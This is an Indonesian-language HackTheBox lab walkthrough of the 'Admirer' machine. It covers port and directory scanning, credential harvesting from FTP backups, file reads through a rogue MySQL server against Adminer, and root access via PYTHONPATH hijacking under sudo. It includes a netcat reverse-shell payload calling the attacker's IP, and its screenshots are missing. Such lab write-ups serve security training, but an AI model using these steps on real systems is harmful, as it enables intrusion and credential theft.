Retas Kotak. Walkthrough Admirer. Kerentanan di Admirer dan RCE melalui spoofing variabel lingkungan



Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .



Pada artikel ini, kami banyak memindai, mengeksploitasi RCE di Admirer, dan mengubah variabel lingkungan untuk menjalankan kode python kami.



Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.



Informasi organisasi
, , Telegram . , , .



. , - , .





Pengintai



Mesin ini memiliki alamat IP 10.10.10.189, yang saya tambahkan ke / etc / hosts.



10.10.10.187 	admirer.htb


Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.

nmap -A admirer.htb -p80,22,21






Pilih langkah selanjutnya dari hasil scan nmap. Jadi server memiliki layanan FTP dan SSH, tetapi mereka membutuhkan kredensial. Ada juga server web Apache dengan file robots.txt. Hanya ada satu entri dalam file ini - direktori admin-dir. Karena tidak ada informasi lebih lanjut yang diberikan, langkah selanjutnya adalah memindai direktori. Untuk ini kami menggunakan gobuster cepat. Dalam parameter, kami menunjukkan bahwa kami ingin memindai direktori (dir), kami menunjukkan situs (-u), daftar kata (-w), ekstensi yang kami minati (-x), jumlah utas (-t).

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






Dan kami menemukan dua file, yang pertama berisi alamat email dan yang kedua berisi berbagai kredensial.











Dan di antara kredensial kami menemukan kredensial FTP. Dan kami berhasil terhubung.







Mari kita lihat di sekitar server.







Ayo unduh semua file.







Ada kecurigaan bahwa arsip ini adalah cadangan dari situs tersebut, mari kita unzip dan lihat apa yang ada di dalamnya.

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






Sekali lagi ada file robots.txt dan semacam direktori rahasia yang berisi semua file contacts.txt dan credentials.txt yang sama.







File pertama tidak berbeda dengan yang sudah ada, tetapi di antara kredensial ada yang tidak kami miliki.







Setelah mencoba menggunakannya, kami tidak berhasil. Mari cari pengguna dan lewati baris di semua file yang diunduh.

grep -R -i "user\|pass" ./






Dan kami menemukan dua kata sandi lagi untuk pengguna yang sama. Saya telah mengumpulkan semua kredensial yang tersedia.







Tapi mereka juga tidak datang kemana-mana.



Titik masuk



Jika Anda mencoba melakukan tugas yang belum terselesaikan di situs, kami akan mendapatkan penolakan.















Karena semua file yang dapat dieksekusi terletak di direktori utility-scripts, mari kita pindai di host, mencari file php.

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






Dan kami menemukan file admirer.php.







Setelah mencari informasi, dari sumber berikut ini menjadi jelas bagaimana cara mendapatkan RCE. Jika Anda menentukan host Anda sebagai server, Anda dapat melihat upaya koneksi. Mari kita mulai layanan myqsl di host lokal.





sudo service mysql start
sudo mysql -u root


Dan kami akan membuat pengguna untuk otorisasi.

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






Sekarang mari kita ubah file konfigurasi /etc/mysql/mariadb.conf.d/50-server.cnf sehingga siapa pun dapat terhubung ke host kita. Untuk melakukan ini, komentari baris alamat-bind dan mulai ulang layanan.







sudo service mysql restart


Kami masuk atas nama pengguna yang baru dibuat.











PENGGUNA



Mari pilih DB kita.







Selanjutnya, mari buat tabel.







Dan kami akan menjalankan kueri SQL untuk membaca file index.php, di mana kami dapat menemukan kredensial (seperti di cadangan).

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






Sekarang mari beralih ke tabel yang kita buat.







Dan kami akan menemukan kredensial.







Dan dengan password ini, kita berhasil login melalui SSH.



















AKAR



Mari kita periksa pengaturan sudo.







Dengan demikian, kami dapat menjalankan skrip ini sebagai pengguna super. Saat melihat skrip ini, kami menemukan eksekusi skrip python, yang juga dijalankan di bawah sudo.







Dan di skrip itu sendiri, impor implisit ditentukan.







Mari kita lihat variabel lingkungan, kami tertarik dengan jalur python.







Dengan demikian, kita dapat membuat file dengan nama yang sama, berisi fungsi yang sama, tetapi melakukan tindakan yang berbeda. Dan kemudian, dengan mengubah variabel lingkungan ini, kami menjalankan program, yang akan mengarah pada eksekusi file kami.

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






Mari jalankan skripnya.

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






Dan kami mendapatkan shell backconnect.







Kami memiliki kendali penuh atas mesin ini.



Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kita kumpulkan komunitas yang di dalamnya akan ada orang-orang yang berpengalaman di banyak bidang TI, kemudian kita selalu dapat saling membantu dalam setiap masalah TI dan keamanan informasi.



All Articles